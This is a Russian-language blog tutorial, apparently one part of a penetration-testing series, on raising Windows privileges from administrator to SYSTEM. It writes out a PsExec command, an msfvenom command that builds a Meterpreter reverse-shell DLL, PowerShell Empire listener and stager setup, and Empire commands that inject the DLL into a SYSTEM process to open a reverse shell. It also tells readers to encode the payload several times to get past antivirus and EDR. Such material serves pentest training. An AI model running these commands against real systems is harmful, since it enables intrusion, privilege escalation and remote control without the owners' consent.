#103 Kali Linux для продвинутого тестирования на проникновение. Эскалация от администратора к системе. DLL-инъекция.
Здравствуйте, дорогие друзья.
Права администратора позволяют злоумышленнику создавать учетные записи и управлять ими, а также получать доступ к большинству данных, доступных в системе. Однако некоторые сложные функции требуют, чтобы запрашивающая сторона имела привилегии доступа на уровне системы. Есть несколько способов продолжить эту эскалацию на системный уровень. Самый простой способ — запустить PsExec, чтобы получить доступ на уровне системы, загрузив PsExec в нужную папку, и выполнив следующую команду от имени локального администратора:
PsExec -s -i -d cmd.exe
Эта команда должна открыть другую командную строку от имени пользователя системы, как показано на рисунке:
![Escalating from local administrator to SYSTEM using Psexec](https://timcore.ru/wp-content/uploads/2023/09/455-1024x692.png)
DLL-инъекция
Внедрение DLL (библиотеки динамической компоновки) — еще один простой метод, который используется злоумышленниками для запуска удаленного кода в контексте адресного пространства другого процесса. Этот процесс должен быть запущен с избыточными привилегиями, которые затем можно использовать для повышения привилегий в виде файла DLL.
В Metasploit есть специальный модуль, который можно использовать для внедрения DLL. Единственное, что нужно сделать злоумышленнику — это связать существующую сессию Meterpreter и указать PID процесса и путь к DLL. Мы рассмотрим другой способ и воспользуемся модулем внедрения DLL PowerShell из инструмента Empire. Вы можете создать DLL с полезной нагрузкой через msfvenom:
1 |
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport=443 -f dll -o /home/kali/injectmex64.dll |
После создания бэкдор-файла DLL, мы можем использовать существующий сеанс Meterpreter для запуска PowerShell. Злоумышленники могут создать полезную нагрузку PowerShell, выполнив в терминале следующие команды:
1 2 3 4 5 6 7 8 9 |
sudo powershell-empire server sudo powershell-empire client (in a new tab) uselistener http set Host set Port execute usestager multi/launcher set Listener http execute |
Это должно предоставить нам полезную нагрузку PowerShell, которую мы сможем выполнить на цели. В этом случае мы будем использовать Windows 10 в качестве примера и запустим сценарий PowerShell непосредственно из оболочки Meterpreter, как показано на рисунке ниже:
![Executing Empire agent payload from Meterpreter](https://timcore.ru/wp-content/uploads/2023/09/456-1024x303.png)
Об успешном выполнении PowerShell агент должен сообщить об этом на консоль Empire. Злоумышленники могут убедиться в этом, запустив команду агентов и активно выполняя команды для типа агента, взаимодействующего с именем агента в Empire, как показано на рисунке ниже:
![Successful agent reporting to the Empire client console](https://timcore.ru/wp-content/uploads/2023/09/457-1024x325.png)
Теперь тестировщики могут загрузить созданный нами DLL-файл в целевую систему; он будет загружен в папку, из которой был выполнен сценарий PowerShell:
![Uploading the malicious DLL to the target](https://timcore.ru/wp-content/uploads/2023/09/458.png)
Выполнение команды ps в терминале PowerShell Empire должно предоставить нам список текущих процессов, запущенных на целевой системе. Выберите правильный процесс, который работает как NT AUTHORITY/SYSTEM, и выполните следующие команды в терминале PowerShell Empire:
1 2 3 4 5 6 7 8 |
(Empire: 2A54TX1L) > ps (Empire: 2A54TX1L) > upload /root/chap12/injectme.dll (Empire: 2A54TX1L) > usemodule code_execution/invoke_dllinjection (Empire: powershell/code_execution/invoke_dllinjection) > set ProcessID 4060 (Empire: powershell/code_execution/invoke_dllinjection) > set Dll C:\\injectmex64.dll (Empire: powershell/code_execution/invoke_dllinjection) > execute |
Если тестировщики не видят владельца системного процесса при запуске команды ps, запустите полезную нагрузку Empire PowerShell от имени локального администратора. Большинство антивирусов/антивредоносных программ/EDR легко обнаруживают этот метод; однако рекомендуется, чтобы полезные данные DLL кодировались в несколько итераций.
Как только файл DLL будет внедрен в запущенный процесс, злоумышленники смогут увидеть агента, который отчитывается как привилегированный пользователь, как показано на рисунке ниже:
![Successful upload of the malicious DLL to the target](https://timcore.ru/wp-content/uploads/2023/09/459-1024x137.png)
После успешного вызова DLL полезная нагрузка должна быть выполнена и открыта обратная оболочка от имени пользователя системного уровня, как показано на рисунке ниже:
![Reverse shell on Meterpreter through successful DLL injection using PowerShell Empire](https://timcore.ru/wp-content/uploads/2023/09/460-1024x429.png)
Мы успешно выполнили внедрение DLL и получили системную учетную запись с высокими привилегиями. В следующем разделе мы рассмотрим другой подход к сбору учетных данных и повышению привилегий.
На этом все. Всем хорошего дня!
Полный цикл статей по Kali Linux для продвинутого тестирования на проникновение.